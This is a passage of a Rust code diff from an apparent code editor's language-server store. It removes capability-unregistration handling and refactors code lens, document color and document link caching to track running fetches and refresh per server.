-                            })
-                            .file_operations = None;
-                    });
-                    notify_server_capabilities_updated(&server, cx);
-                }
-                "workspace/executeCommand" => {
-                    server.update_capabilities(|capabilities| {
-                        capabilities.execute_command_provider = None;
-                    });
-                    notify_server_capabilities_updated(&server, cx);
-                }
-                "textDocument/rangeFormatting" => {
-                    server.update_capabilities(|capabilities| {
-                        capabilities.document_range_formatting_provider = None
-                    });
-                    notify_server_capabilities_updated(&server, cx);
-                }
-                "textDocument/onTypeFormatting" => {
-                    server.update_capabilities(|capabilities| {
-                        capabilities.document_on_type_formatting_provider = None;
-                    });
-                    notify_server_capabilities_updated(&server, cx);
-                }
-                "textDocument/formatting" => {
-                    server.update_capabilities(|capabilities| {
-                        capabilities.document_formatting_provider = None;
-                    });
-                    notify_server_capabilities_updated(&server, cx);
-                }
-                "textDocument/rename" => {
-                    server.update_capabilities(|capabilities| capabilities.rename_provider = None);
-                    notify_server_capabilities_updated(&server, cx);
-                }
-                "textDocument/codeAction" => {
-                    server.update_capabilities(|capabilities| {
-                        capabilities.code_action_provider = None;
-                    });
-                    notify_server_capabilities_updated(&server, cx);
-                }
-                "textDocument/definition" => {
-                    server.update_capabilities(|capabilities| {
-                        capabilities.definition_provider = None;
-                    });
-                    notify_server_capabilities_updated(&server, cx);
-                }
-                "textDocument/completion" => {
-                    server.update_capabilities(|capabilities| {
-                        capabilities.completion_provider = None;
-                    });
-                    notify_server_capabilities_updated(&server, cx);
-                }
-                "textDocument/hover" => {
-                    server.update_capabilities(|capabilities| {
-                        capabilities.hover_provider = None;
-                    });
-                    notify_server_capabilities_updated(&server, cx);
-                }
-                "textDocument/signatureHelp" => {
-                    server.update_capabilities(|capabilities| {
-                        capabilities.signature_help_provider = None;
-                    });
-                    notify_server_capabilities_updated(&server, cx);
-                }
-                "textDocument/semanticTokens" => {
-                    server.update_capabilities(|capabilities| {
-                        capabilities.semantic_tokens_provider = None;
-                    });
-                    notify_server_capabilities_updated(&server, cx);
-                }
-                "textDocument/didChange" => {
-                    server.update_capabilities(|capabilities| {
-                        let mut sync_options = Self::take_text_document_sync_options(capabilities);
-                        sync_options.change = None;
-                        capabilities.text_document_sync =
-                            Some(lsp::TextDocumentSyncCapability::Options(sync_options));
-                    });
-                    notify_server_capabilities_updated(&server, cx);
-                }
-                "textDocument/didSave" => {
-                    server.update_capabilities(|capabilities| {
-                        let mut sync_options = Self::take_text_document_sync_options(capabilities);
-                        sync_options.save = None;
-                        capabilities.text_document_sync =
-                            Some(lsp::TextDocumentSyncCapability::Options(sync_options));
-                    });
-                    notify_server_capabilities_updated(&server, cx);
-                }
-                "textDocument/codeLens" => {
-                    server.update_capabilities(|capabilities| {
-                        capabilities.code_lens_provider = None;
-                    });
-                    notify_server_capabilities_updated(&server, cx);
-                }
-                "textDocument/diagnostic" => {
-                    let local = self
-                        .as_local_mut()
-                        .context("Expected LSP Store to be local")?;
-
-                    let state = local
-                        .language_servers
-                        .get_mut(&server_id)
-                        .context("Could not obtain Language Servers state")?;
-                    let registrations = local
-                        .language_server_dynamic_registrations
-                        .get_mut(&server_id)
-                        .with_context(|| {
-                            format!("Expected dynamic registration to exist for server {server_id}")
-                        })?;
-                    registrations.diagnostics
-                        .remove(&Some(unreg.id.clone()))
-                        .with_context(|| format!(
-                            "Attempted to unregister non-existent diagnostic registration with ID {}",
-                            unreg.id)
-                        )?;
-                    let removed_last_diagnostic_provider = registrations.diagnostics.is_empty();
-
-                    if let LanguageServerState::Running {
-                        workspace_diagnostics_refresh_tasks,
-                        ..
-                    } = state
-                    {
-                        workspace_diagnostics_refresh_tasks.remove(&Some(unreg.id.clone()));
-                    }
-
-                    self.clear_unregistered_diagnostics(
-                        server_id,
-                        SharedString::from(unreg.id.clone()),
-                        cx,
-                    )?;
-
-                    if removed_last_diagnostic_provider {
-                        server.update_capabilities(|capabilities| {
-                            debug_assert!(capabilities.diagnostic_provider.is_some());
-                            capabilities.diagnostic_provider = None;
-                        });
-                    }
-
-                    notify_server_capabilities_updated(&server, cx);
-                }
-                "textDocument/documentColor" => {
-                    server.update_capabilities(|capabilities| {
-                        capabilities.color_provider = None;
-                    });
-                    notify_server_capabilities_updated(&server, cx);
-                }
-                "textDocument/foldingRange" => {
-                    server.update_capabilities(|capabilities| {
-                        capabilities.folding_range_provider = None;
-                    });
-                    notify_server_capabilities_updated(&server, cx);
-                }
-                "textDocument/documentLink" => {
-                    server.update_capabilities(|capabilities| {
-                        capabilities.document_link_provider = None;
-                    });
-                    notify_server_capabilities_updated(&server, cx);
-                }
-                _ => log::warn!("unhandled capability unregistration: {unreg:?}"),
-            }
-        }
-
-        Ok(())
-    }
-
     fn clear_unregistered_diagnostics(
         &mut self,
         server_id: LanguageServerId,
@@ -14035,20 +13574,6 @@ impl LspStore {
         Ok((buffer_version, buffer))
     }
 
-    fn take_text_document_sync_options(
-        capabilities: &mut lsp::ServerCapabilities,
-    ) -> lsp::TextDocumentSyncOptions {
-        match capabilities.text_document_sync.take() {
-            Some(lsp::TextDocumentSyncCapability::Options(sync_options)) => sync_options,
-            Some(lsp::TextDocumentSyncCapability::Kind(sync_kind)) => {
-                let mut sync_options = lsp::TextDocumentSyncOptions::default();
-                sync_options.change = Some(sync_kind);
-                sync_options
-            }
-            None => lsp::TextDocumentSyncOptions::default(),
-        }
-    }
-
     pub fn downstream_client(&self) -> Option<(AnyProtoClient, u64)> {
         self.downstream_client.clone()
     }
@@ -14072,27 +13597,12 @@ impl LspStore {
             .entry(buffer_id)
             .or_insert_with(|| BufferLspData::new(buffer, cx));
         if buffer_version.changed_since(&lsp_data.buffer_version) {
-            // To send delta requests for semantic tokens, the previous tokens
-            // need to be kept between buffer changes.
-            let semantic_tokens = lsp_data.semantic_tokens.take();
-            *lsp_data = BufferLspData::new(buffer, cx);
-            lsp_data.semantic_tokens = semantic_tokens;
+            lsp_data.reset_for_newer_buffer_version(buffer, cx);
         }
         lsp_data
     }
 }
 
-// Registration with registerOptions as null, should fallback to true.
-// https://github.com/microsoft/vscode-languageserver-node/blob/d90a87f9557a0df9142cfb33e251cfa6fe27d970/client/src/common/client.ts#L2133
-fn parse_register_capabilities<T: serde::de::DeserializeOwned>(
-    reg: lsp::Registration,
-) -> Result<OneOf<bool, T>> {
-    Ok(match reg.register_options {
-        Some(options) => OneOf::Right(serde_json::from_value::<T>(options)?),
-        None => OneOf::Left(true),
-    })
-}
-
 fn server_capabilities_support_range_formatting(capabilities: &lsp::ServerCapabilities) -> bool {
     matches!(
         capabilities.document_range_formatting_provider.as_ref(),
diff --git a/crates/project/src/lsp_store/code_lens.rs b/crates/project/src/lsp_store/code_lens.rs
index 6616e4f8a42f5e..36982102779c19 100644
--- a/crates/project/src/lsp_store/code_lens.rs
+++ b/crates/project/src/lsp_store/code_lens.rs
@@ -2,7 +2,6 @@ use std::ops::Range;
 use std::sync::Arc;
 
 use anyhow::{Context as _, Result};
-use clock::Global;
 use collections::{HashMap, HashSet};
 use futures::{
     FutureExt as _,
@@ -20,6 +19,9 @@ use util::ResultExt as _;
 use crate::{
     CodeAction, LspAction, LspStore, LspStoreEvent, Project,
     lsp_command::{GetCodeLens, LspCommand as _},
+    lsp_store::{
+        RunningFetch, missing_servers_to_query, next_lsp_fetch_id, upstream_lsp_query_server_filter,
+    },
     project_settings::ProjectSettings,
 };
 
@@ -48,15 +50,30 @@ pub type CodeLensResolveTask = Shared<Task<Option<(CodeLensActionId, CodeAction)
 #[derive(Debug, Default)]
 pub(super) struct CodeLensData {
     pub(super) lens: HashMap<LanguageServerId, CodeLensActions>,
+    fetched_servers: HashSet<LanguageServerId>,
     pub(super) next_id: u64,
-    pub(super) update: Option<(Global, CodeLensTask)>,
+    pub(super) update: Option<RunningFetch<CodeLensTask>>,
     pub(super) resolving: HashMap<(LanguageServerId, CodeLensActionId), CodeLensResolveTask>,
 }
 
 impl CodeLensData {
     pub(super) fn remove_server_data(&mut self, server_id: LanguageServerId) {
         self.lens.remove(&server_id);
+        self.fetched_servers.remove(&server_id);
         self.resolving.retain(|(s, _), _| *s != server_id);
+        RunningFetch::discard_if_queried(&mut self.update, server_id);
+    }
+
+    fn evict(&mut self, for_server: Option<LanguageServerId>) {
+        match for_server {
+            Some(server_id) => self.remove_server_data(server_id),
+            None => {
+                self.lens.clear();
+                self.fetched_servers.clear();
+                self.resolving.clear();
+            }
+        }
+        self.update = None;
     }
 }
 
@@ -72,16 +89,25 @@ fn flatten_cache(lens: &HashMap<LanguageServerId, CodeLensActions>) -> CodeLensA
 }
 
 impl LspStore {
-    pub(super) fn refresh_code_lens(&mut self, cx: &mut Context<Self>) {
+    pub(super) fn refresh_code_lens(
+        &mut self,
+        for_server: Option<LanguageServerId>,
+        cx: &mut Context<Self>,
+    ) {
         for lsp_data in self.lsp_data.values_mut() {
-            lsp_data.code_lens = None;
+            if let Some(code_lens) = &mut lsp_data.code_lens {
+                code_lens.evict(for_server);
+            }
         }
 
-        cx.emit(LspStoreEvent::RefreshCodeLens);
+        cx.emit(LspStoreEvent::RefreshCodeLens {
+            server_id: for_server,
+        });
         if let Some((downstream_client, project_id)) = self.downstream_client.as_ref() {
             downstream_client
                 .send(proto::RefreshCodeLens {
                     project_id: *project_id,
+                    server_id: for_server.map(|server_id| server_id.to_proto()),
                 })
                 .context("sending refresh code lens downstream")
                 .log_err();
@@ -122,30 +148,32 @@ impl LspStore {
     ) -> CodeLensTask {
         let version_queried_for = buffer.read(cx).version();
         let buffer_id = buffer.read(cx).remote_id();
-        let existing_servers = if let Some(local) = self.as_local() {
-            local
-                .buffers_opened_in_servers
-                .get(&buffer_id)
-                .cloned()
-                .unwrap_or_default()
-        } else {
-            self.relevant_server_ids_for_capability_check(buffer, cx)
-                .into_iter()
-                .collect()
-        };
+        let current_servers = self.relevant_server_ids_for_capability_check(buffer, cx);
 
+        let mut servers_to_query = None;
         if let Some(lsp_data) = self.current_lsp_data(buffer_id) {
-            if let Some(cached_lens) = &lsp_data.code_lens {
+            if let Some(cached_lens) = &mut lsp_data.code_lens {
                 if !version_queried_for.changed_since(&lsp_data.buffer_version) {
-                    let cached_servers = cached_lens.lens.keys().copied().collect::<HashSet<_>>();
-                    if existing_servers == cached_servers {
-                        return Task::ready(Ok(Some(flatten_cache(&cached_lens.lens)))).shared();
-                    }
-                } else if let Some((updating_for, running_update)) = cached_lens.update.as_ref() {
-                    if !version_queried_for.changed_since(updating_for) {
-                        return running_update.clone();
+                    match missing_servers_to_query(
+                        &mut cached_lens.lens,
+                        &mut cached_lens.fetched_servers,
+                        &current_servers,
+                    ) {
+                        Some(missing_servers) => servers_to_query = Some(missing_servers),
+                        None => {
+                            return Task::ready(Ok(Some(flatten_cache(&cached_lens.lens))))
+                                .shared();
+                        }
                     }
                 }
+                if let Some(running) = cached_lens.update.as_ref()
+                    && !version_queried_for.changed_since(&running.version)
+                    && servers_to_query
+                        .as_ref()
+                        .is_none_or(|missing| missing.is_subset(&running.servers))
+                {
+                    return running.task.clone();
+                }
             }
         }
 
@@ -153,79 +181,99 @@ impl LspStore {
             .latest_lsp_data(buffer, cx)
             .code_lens
             .get_or_insert_default();
+        let fetch_id = next_lsp_fetch_id();
+        let queried_servers = servers_to_query
+            .clone()
+            .unwrap_or_else(|| current_servers.clone());
         let buffer = buffer.clone();
         let query_version_queried_for = version_queried_for.clone();
         let new_task = cx
-            .spawn(async move |lsp_store, cx| {
-                cx.background_executor()
-                    .timer(Duration::from_millis(30))
-                    .await;
-                let fetched_lens = lsp_store
-                    .update(cx, |lsp_store, cx| {
-                        lsp_store.fetch_code_lens_for_buffer(&buffer, cx)
-                    })
-                    .map_err(Arc::new)?
-                    .await
-                    .context("fetching code lens")
-                    .map_err(Arc::new);
-                let fetched_lens = match fetched_lens {
-                    Ok(fetched_lens) => fetched_lens,
-                    Err(e) => {
-                        lsp_store
-                            .update(cx, |lsp_store, _| {
-                                if let Some(lens_lsp_data) = lsp_store
-                                    .lsp_data
-                                    .get_mut(&buffer_id)
-                                    .and_then(|lsp_data| lsp_data.code_lens.as_mut())
-                                {
-                                    lens_lsp_data.update = None;
-                                }
-                            })
-                            .ok();
-                        return Err(e);
-                    }
-                };
+            .spawn({
+                let queried_servers = queried_servers.clone();
+                async move |lsp_store, cx| {
+                    cx.background_executor()
+                        .timer(Duration::from_millis(30))
+                        .await;
+                    let fetched_lens = lsp_store
+                        .update(cx, |lsp_store, cx| {
+                            lsp_store.fetch_code_lens_for_buffer(&buffer, servers_to_query, cx)
+                        })
+                        .map_err(Arc::new)?
+                        .await
+                        .context("fetching code lens")
+                        .map_err(Arc::new);
+                    let fetched_lens = match fetched_lens {
+                        Ok(fetched_lens) => fetched_lens,
+                        Err(e) => {
+                            lsp_store
+                                .update(cx, |lsp_store, _| {
+                                    if let Some(lens_lsp_data) = lsp_store
+                                        .lsp_data
+                                        .get_mut(&buffer_id)
+                                        .and_then(|lsp_data| lsp_data.code_lens.as_mut())
+                                    {
+                                        RunningFetch::take_finished(
+                                            &mut lens_lsp_data.update,
+                                            fetch_id,
+                                        );
+                                    }
+                                })
+                                .ok();
+                            return Err(e);
+                        }
+                    };
 
-                lsp_store
-                    .update(cx, |lsp_store, _| {
-                        let lsp_data = lsp_store.current_lsp_data(buffer_id)?;
-                        let code_lens = lsp_data.code_lens.as_mut()?;
-                        if let Some(fetched_lens) = fetched_lens {
-                            let mut tagged: HashMap<LanguageServerId, CodeLensActions> =
-                                HashMap::default();
-                            for (server_id, actions) in fetched_lens {
-                                let mut cache = CodeLensActions::default();
-                                cache.reserve(actions.len());
-                                for action in actions {
-                                    let id = CodeLensActionId(code_lens.next_id);
-                                    code_lens.next_id += 1;
-                                    cache.insert(id, action);
-                                }
-                                tagged.insert(server_id, cache);
+                    lsp_store
+                        .update(cx, |lsp_store, _| {
+                            let lsp_data = lsp_store.current_lsp_data(buffer_id)?;
+                            let code_lens = lsp_data.code_lens.as_mut()?;
+                            if !RunningFetch::take_finished(&mut code_lens.update, fetch_id) {
+                                return Some(flatten_cache(&code_lens.lens));
                             }
-                            if lsp_data.buffer_version == query_version_queried_for {
-                                code_lens.lens.extend(tagged);
-                            } else if !lsp_data
-                                .buffer_version
-                                .changed_since(&query_version_queried_for)
-                            {
-                                lsp_data.buffer_version = query_version_queried_for;
-                                code_lens.lens = tagged;
+                            if let Some(fetched_lens) = fetched_lens {
+                                let mut tagged: HashMap<LanguageServerId, CodeLensActions> =
+                                    HashMap::default();
+                                for (server_id, actions) in fetched_lens {
+                                    let mut cache = CodeLensActions::default();
+                                    cache.reserve(actions.len());
+                                    for action in actions {
+                                        let id = CodeLensActionId(code_lens.next_id);
+                                        code_lens.next_id += 1;
+                                        cache.insert(id, action);
+                                    }
+                                    tagged.insert(server_id, cache);
+                                }
+                                if lsp_data.buffer_version == query_version_queried_for {
+                                    code_lens.lens.extend(tagged);
+                                    code_lens.fetched_servers.extend(queried_servers);
+                                } else if !lsp_data
+                                    .buffer_version
+                                    .changed_since(&query_version_queried_for)
+                                {
+                                    lsp_data.buffer_version = query_version_queried_for;
+                                    code_lens.lens = tagged;
+                                    code_lens.fetched_servers = queried_servers;
+                                }
                             }
-                        }
-                        code_lens.update = None;
-                        Some(flatten_cache(&code_lens.lens))
-                    })
-                    .map_err(Arc::new)
+                            Some(flatten_cache(&code_lens.lens))
+                        })
+                        .map_err(Arc::new)
+                }
             })
             .shared();
-        lens_lsp_data.update = Some((version_queried_for, new_task.clone()));
+        lens_lsp_data.update = Some(RunningFetch {
+            id: fetch_id,
+            version: version_queried_for,
+            servers: queried_servers,
+            task: new_task.clone(),
+        });
         new_task
     }
 
     fn fetch_code_lens_for_buffer(
         &mut self,
         buffer: &Entity<Buffer>,
+        for_servers: Option<HashSet<LanguageServerId>>,
         cx: &mut Context<Self>,
     ) -> Task<Result<Option<HashMap<LanguageServerId, Vec<CodeAction>>>>> {
         if let Some((upstream_client, project_id)) = self.upstream_client() {
@@ -238,7 +286,7 @@ impl LspStore {
                 .get_request_timeout();
             let request_task = upstream_client.request_lsp(
                 project_id,
-                None,
+                upstream_lsp_query_server_filter(for_servers.as_ref()),
                 request_timeout,
                 cx.background_executor().clone(),
                 request.to_proto(project_id, buffer.read(cx)),
@@ -286,8 +334,13 @@ impl LspStore {
                 Ok(Some(code_lens_actions))
             })
         } else {
-            let code_lens_actions_task =
-                self.request_multiple_lsp_locally(buffer, None::<usize>, GetCodeLens, cx);
+            let code_lens_actions_task = self.request_filtered_lsp_locally(
+                buffer,
+                None::<usize>,
+                GetCodeLens,
+                for_servers.as_ref(),
+                cx,
+            );
             cx.background_spawn(async move {
                 Ok(Some(code_lens_actions_task.await.into_iter().collect()))
             })
@@ -447,17 +500,18 @@ impl LspStore {
                 .take()?
                 .update
                 .take()?
-                .1,
+                .task,
         )
     }
 
     pub(super) async fn handle_refresh_code_lens(
         lsp_store: Entity<Self>,
-        _: TypedEnvelope<proto::RefreshCodeLens>,
+        envelope: TypedEnvelope<proto::RefreshCodeLens>,
         mut cx: AsyncApp,
     ) -> Result<proto::Ack> {
         lsp_store.update(&mut cx, |lsp_store, cx| {
-            lsp_store.refresh_code_lens(cx);
+            let server_id = envelope.payload.server_id.map(LanguageServerId::from_proto);
+            lsp_store.refresh_code_lens(server_id, cx);
         });
         Ok(proto::Ack {})
     }
diff --git a/crates/project/src/lsp_store/document_colors.rs b/crates/project/src/lsp_store/document_colors.rs
index c181fbf3ef2603..70497361f22f92 100644
--- a/crates/project/src/lsp_store/document_colors.rs
+++ b/crates/project/src/lsp_store/document_colors.rs
@@ -1,7 +1,6 @@
 use std::{sync::Arc, time::Duration};
 
 use anyhow::{Context as _, Result};
-use clock::Global;
 use collections::{HashMap, HashSet};
 use futures::{
     FutureExt as _,
@@ -22,6 +21,10 @@ use worktree::File;
 use crate::{
     ColorPresentation, DocumentColor, LspStore,
     lsp_command::{GetDocumentColor, LspCommand as _, make_text_document_identifier},
+    lsp_store::{
+        LspStoreEvent, RunningFetch, missing_servers_to_query, next_lsp_fetch_id,
+        upstream_lsp_query_server_filter,
+    },
     project_settings::ProjectSettings,
 };
 
@@ -36,16 +39,67 @@ pub(super) type DocumentColorTask =
 #[derive(Debug, Default)]
 pub(super) struct DocumentColorData {
     pub(super) colors: HashMap<LanguageServerId, HashSet<DocumentColor>>,
-    pub(super) colors_update: Option<(Global, DocumentColorTask)>,
+    fetched_servers: HashSet<LanguageServerId>,
+    pub(super) colors_update: Option<RunningFetch<DocumentColorTask>>,
 }
 
 impl DocumentColorData {
     pub(super) fn remove_server_data(&mut self, server_id: LanguageServerId) {
         self.colors.remove(&server_id);
+        self.fetched_servers.remove(&server_id);
+        RunningFetch::discard_if_queried(&mut self.colors_update, server_id);
+    }
+
+    fn evict(&mut self, for_server: Option<LanguageServerId>) {
+        match for_server {
+            Some(server_id) => self.remove_server_data(server_id),
+            None => {
+                self.colors.clear();
+                self.fetched_servers.clear();
+            }
+        }
+        self.colors_update = None;
     }
 }
 
 impl LspStore {
+    pub(super) fn refresh_document_colors(
+        &mut self,
+        for_server: Option<LanguageServerId>,
+        cx: &mut Context<Self>,
+    ) {
+        for lsp_data in self.lsp_data.values_mut() {
+            if let Some(document_colors) = &mut lsp_data.document_colors {
+                document_colors.evict(for_server);
+            }
+        }
+
+        cx.emit(LspStoreEvent::RefreshDocumentColors {
+            server_id: for_server,
+        });
+        if let Some((downstream_client, project_id)) = self.downstream_client.as_ref() {
+            downstream_client
+                .send(proto::RefreshDocumentColors {
+                    project_id: *project_id,
+                    server_id: for_server.map(|server_id| server_id.to_proto()),
+                })
+                .context("sending refresh document colors downstream")
+                .log_err();
+        }
+    }
+
+    pub(super) async fn handle_refresh_document_colors(
+        lsp_store: Entity<Self>,
+        envelope: TypedEnvelope<proto::RefreshDocumentColors>,
+        mut cx: AsyncApp,
+    ) -> Result<proto::Ack> {
+        lsp_store.update(&mut cx, |lsp_store, cx| {
+            let server_id = envelope.payload.server_id.map(LanguageServerId::from_proto);
+            lsp_store.refresh_document_colors(server_id, cx);
+        });
+        Ok(proto::Ack {})
+    }
+
     pub fn document_colors(
         &mut self,
         buffer: Entity<Buffer>,
@@ -54,23 +108,20 @@ impl LspStore {
         let version_queried_for = buffer.read(cx).version();
         let buffer_id = buffer.read(cx).remote_id();
 
-        let current_language_servers = self.as_local().map(|local| {
-            local
-                .buffers_opened_in_servers
-                .get(&buffer_id)
-                .cloned()
-                .unwrap_or_default()
-        });
+        let current_servers = self.relevant_server_ids_for_capability_check(&buffer, cx);
 
+        let mut servers_to_query = None;
         if let Some(lsp_data) = self.current_lsp_data(buffer_id) {
-            if let Some(cached_colors) = &lsp_data.document_colors {
-                if !version_queried_for.changed_since(&lsp_data.buffer_version) {
-                    let has_different_servers =
-                        current_language_servers.is_some_and(|current_language_servers| {
-                            current_language_servers
-                                != cached_colors.colors.keys().copied().collect()
-                        });
-                    if !has_different_servers {
+            if !version_queried_for.changed_since(&lsp_data.buffer_version)
+                && let Some(cached_colors) = &mut lsp_data.document_colors
+            {
+                match missing_servers_to_query(
+                    &mut cached_colors.colors,
+                    &mut cached_colors.fetched_servers,
+                    &current_servers,
+                ) {
+                    Some(missing_servers) => servers_to_query = Some(missing_servers),
+                    None => {
                         return Some(
                             Task::ready(Ok(DocumentColors {
                                 colors: cached_colors.colors.values().flatten().cloned().collect(),
@@ -80,82 +131,108 @@ impl LspStore {
                     }
                 }
             }
+            if let Some(document_colors) = &lsp_data.document_colors
+                && let Some(running) = &document_colors.colors_update
+                && !version_queried_for.changed_since(&running.version)
+                && servers_to_query
+                    .as_ref()
+                    .is_none_or(|missing| missing.is_subset(&running.servers))
+            {
+                return Some(running.task.clone());
+            }
         }
 
         let color_lsp_data = self
             .latest_lsp_data(&buffer, cx)
             .document_colors
             .get_or_insert_default();
-        if let Some((updating_for, running_update)) = &color_lsp_data.colors_update
-            && !version_queried_for.changed_since(updating_for)
-        {
-            return Some(running_update.clone());
-        }
+        let fetch_id = next_lsp_fetch_id();
+        let queried_servers = servers_to_query
+            .clone()
+            .unwrap_or_else(|| current_servers.clone());
         let buffer_version_queried_for = version_queried_for.clone();
         let new_task = cx
-            .spawn(async move |lsp_store, cx| {
-                cx.background_executor()
-                    .timer(Duration::from_millis(30))
-                    .await;
-                let fetched_colors = lsp_store
-                    .update(cx, |lsp_store, cx| {
-                        lsp_store.fetch_document_colors_for_buffer(&buffer, cx)
-                    })?
-                    .await
-                    .context("fetching document colors")
-                    .map_err(Arc::new);
-                let fetched_colors = match fetched_colors {
-                    Ok(fetched_colors) => {
-                        if buffer.update(cx, |buffer, _| {
-                            buffer.version() != buffer_version_queried_for
-                        }) {
-                            return Ok(DocumentColors::default());
+            .spawn({
+                let queried_servers = queried_servers.clone();
+                async move |lsp_store, cx| {
+                    cx.background_executor()
+                        .timer(Duration::from_millis(30))
+                        .await;
+                    let fetched_colors = lsp_store
+                        .update(cx, |lsp_store, cx| {
+                            lsp_store.fetch_document_colors_for_buffer(
+                                &buffer,
+                                servers_to_query,
+                                cx,
+                            )
+                        })?
+                        .await
+                        .context("fetching document colors")
+                        .map_err(Arc::new);
+                    let fetched_colors = match fetched_colors {
+                        Ok(fetched_colors) => {
+                            if buffer.update(cx, |buffer, _| {
+                                buffer.version() != buffer_version_queried_for
+                            }) {
+                                return Ok(DocumentColors::default());
+                            }
+                            fetched_colors
                         }
-                        fetched_colors
-                    }
-                    Err(e) => {
-                        lsp_store
-                            .update(cx, |lsp_store, _| {
-                                if let Some(lsp_data) = lsp_store.lsp_data.get_mut(&buffer_id) {
-                                    if let Some(document_colors) = &mut lsp_data.document_colors {
-                                        document_colors.colors_update = None;
+                        Err(e) => {
+                            lsp_store
+                                .update(cx, |lsp_store, _| {
+                                    if let Some(lsp_data) = lsp_store.lsp_data.get_mut(&buffer_id)
+                                        && let Some(document_colors) = &mut lsp_data.document_colors
+                                    {
+                                        RunningFetch::take_finished(
+                                            &mut document_colors.colors_update,
+                                            fetch_id,
+                                        );
                                     }
-                                }
-                            })
-                            .ok();
-                        return Err(e);
-                    }
-                };
+                                })
+                                .ok();
+                            return Err(e);
+                        }
+                    };
 
-                lsp_store
-                    .update(cx, |lsp_store, cx| {
-                        let lsp_data = lsp_store.latest_lsp_data(&buffer, cx);
-                        let lsp_colors = lsp_data.document_colors.get_or_insert_default();
+                    lsp_store
+                        .update(cx, |lsp_store, cx| {
+                            let lsp_data = lsp_store.latest_lsp_data(&buffer, cx);
+                            let lsp_colors = lsp_data.document_colors.get_or_insert_default();
 
-                        if let Some(fetched_colors) = fetched_colors {
-                            if lsp_data.buffer_version == buffer_version_queried_for {
-                                lsp_colors.colors.extend(fetched_colors);
-                            } else if !lsp_data
-                                .buffer_version
-                                .changed_since(&buffer_version_queried_for)
+                            if RunningFetch::take_finished(&mut lsp_colors.colors_update, fetch_id)
+                                && let Some(fetched_colors) = fetched_colors
                             {
-                                lsp_data.buffer_version = buffer_version_queried_for;
-                                lsp_colors.colors = fetched_colors;
+                                if lsp_data.buffer_version == buffer_version_queried_for {
+                                    lsp_colors.colors.extend(fetched_colors);
+                                    lsp_colors.fetched_servers.extend(queried_servers);
+                                } else if !lsp_data
+                                    .buffer_version
+                                    .changed_since(&buffer_version_queried_for)
+                                {
+                                    lsp_data.buffer_version = buffer_version_queried_for;
+                                    lsp_colors.colors = fetched_colors;
+                                    lsp_colors.fetched_servers = queried_servers;
+                                }
                             }
-                        }
-                        lsp_colors.colors_update = None;
-                        let colors = lsp_colors
-                            .colors
-                            .values()
-                            .flatten()
-                            .cloned()
-                            .collect::<HashSet<_>>();
-                        DocumentColors { colors }
-                    })
-                    .map_err(Arc::new)
+                            let colors = lsp_colors
+                                .colors
+                                .values()
+                                .flatten()
+                                .cloned()
+                                .collect::<HashSet<_>>();
+                            DocumentColors { colors }
+                        })
+                        .map_err(Arc::new)
+                }
             })
             .shared();
-        color_lsp_data.colors_update = Some((version_queried_for, new_task.clone()));
+        color_lsp_data.colors_update = Some(RunningFetch {
+            id: fetch_id,
+            version: version_queried_for,
+            servers: queried_servers,
+            task: new_task.clone(),
+        });
         Some(new_task)
     }
 
@@ -266,6 +343,7 @@ impl LspStore {
     pub(super) fn fetch_document_colors_for_buffer(
         &mut self,
         buffer: &Entity<Buffer>,
+        for_servers: Option<HashSet<LanguageServerId>>,
         cx: &mut Context<Self>,
     ) -> Task<anyhow::Result<Option<HashMap<LanguageServerId, HashSet<DocumentColor>>>>> {
         if let Some((client, project_id)) = self.upstream_client() {
@@ -279,7 +357,7 @@ impl LspStore {
                 .get_request_timeout();
             let request_task = client.request_lsp(
                 project_id,
-                None,
+                upstream_lsp_query_server_filter(for_servers.as_ref()),
                 request_timeout,
                 cx.background_executor().clone(),
                 request.to_proto(project_id, buffer.read(cx)),
@@ -325,8 +403,13 @@ impl LspStore {
                 Ok(Some(colors))
             })
         } else {
-            let document_colors_task =
-                self.request_multiple_lsp_locally(buffer, None::<usize>, GetDocumentColor, cx);
+            let document_colors_task = self.request_filtered_lsp_locally(
+                buffer,
+                None::<usize>,
+                GetDocumentColor,
+                for_servers.as_ref(),
+                cx,
+            );
             cx.background_spawn(async move {
                 Ok(Some(
                     document_colors_task
diff --git a/crates/project/src/lsp_store/document_links.rs b/crates/project/src/lsp_store/document_links.rs
index 5bfcab4913be94..22eca9cae0e737 100644
--- a/crates/project/src/lsp_store/document_links.rs
+++ b/crates/project/src/lsp_store/document_links.rs
@@ -4,8 +4,7 @@ use std::sync::Arc;
 use std::time::Duration;
 
 use anyhow::Context as _;
-use clock::Global;
-use collections::HashMap;
+use collections::{HashMap, HashSet};
 use futures::FutureExt as _;
 use futures::future::{Shared, join_all};
 use gpui::{AppContext as _, AsyncApp, Context, Entity, SharedString, Task};
@@ -18,7 +17,9 @@ use text::{Anchor, BufferId, ToPointUtf16 as _};
 use util::ResultExt as _;
 
 use crate::lsp_command::{GetDocumentLinks, LspCommand as _};
-use crate::lsp_store::LspStore;
+use crate::lsp_store::{
+    LspStore, LspStoreEvent, RunningFetch, missing_servers_to_query, next_lsp_fetch_id,
+};
 use crate::project_settings::ProjectSettings;
 
 #[derive(Copy, Clone, Hash, PartialEq, Eq, PartialOrd, Ord, Debug)]
@@ -43,16 +44,31 @@ pub type DocumentLinkResolveTask = Shared<Task<Option<(DocumentLinkId, LspDocume
 #[derive(Debug, Default)]
 pub(super) struct DocumentLinksData {
     pub(super) links: BufferDocumentLinks,
+    fetched_servers: HashSet<LanguageServerId>,
     pub(super) next_id: u64,
-    links_update: Option<(Global, DocumentLinksTask)>,
+    links_update: Option<RunningFetch<DocumentLinksTask>>,
     pub(super) link_resolves: HashMap<(LanguageServerId, DocumentLinkId), DocumentLinkResolveTask>,
 }
 
 impl DocumentLinksData {
     pub(super) fn remove_server_data(&mut self, server_id: LanguageServerId) {
         self.links.remove(&server_id);
+        self.fetched_servers.remove(&server_id);
         self.link_resolves
             .retain(|(resolved_server, _), _| *resolved_server != server_id);
+        RunningFetch::discard_if_queried(&mut self.links_update, server_id);
+    }
+
+    fn evict(&mut self, for_server: Option<LanguageServerId>) {
+        match for_server {
+            Some(server_id) => self.remove_server_data(server_id),
+            None => {
+                self.links.clear();
+                self.fetched_servers.clear();
+                self.link_resolves.clear();
+            }
+        }
+        self.links_update = None;
     }
 }
 
@@ -66,6 +82,43 @@ pub enum ResolvedDocumentLink {
 }
 
 impl LspStore {
+    pub(super) fn refresh_document_links(
+        &mut self,
+        for_server: Option<LanguageServerId>,
+        cx: &mut Context<Self>,
+    ) {
+        for lsp_data in self.lsp_data.values_mut() {
+            if let Some(document_links) = &mut lsp_data.document_links {
+                document_links.evict(for_server);
+            }
+        }
+
+        cx.emit(LspStoreEvent::RefreshDocumentLinks {
+            server_id: for_server,
+        });
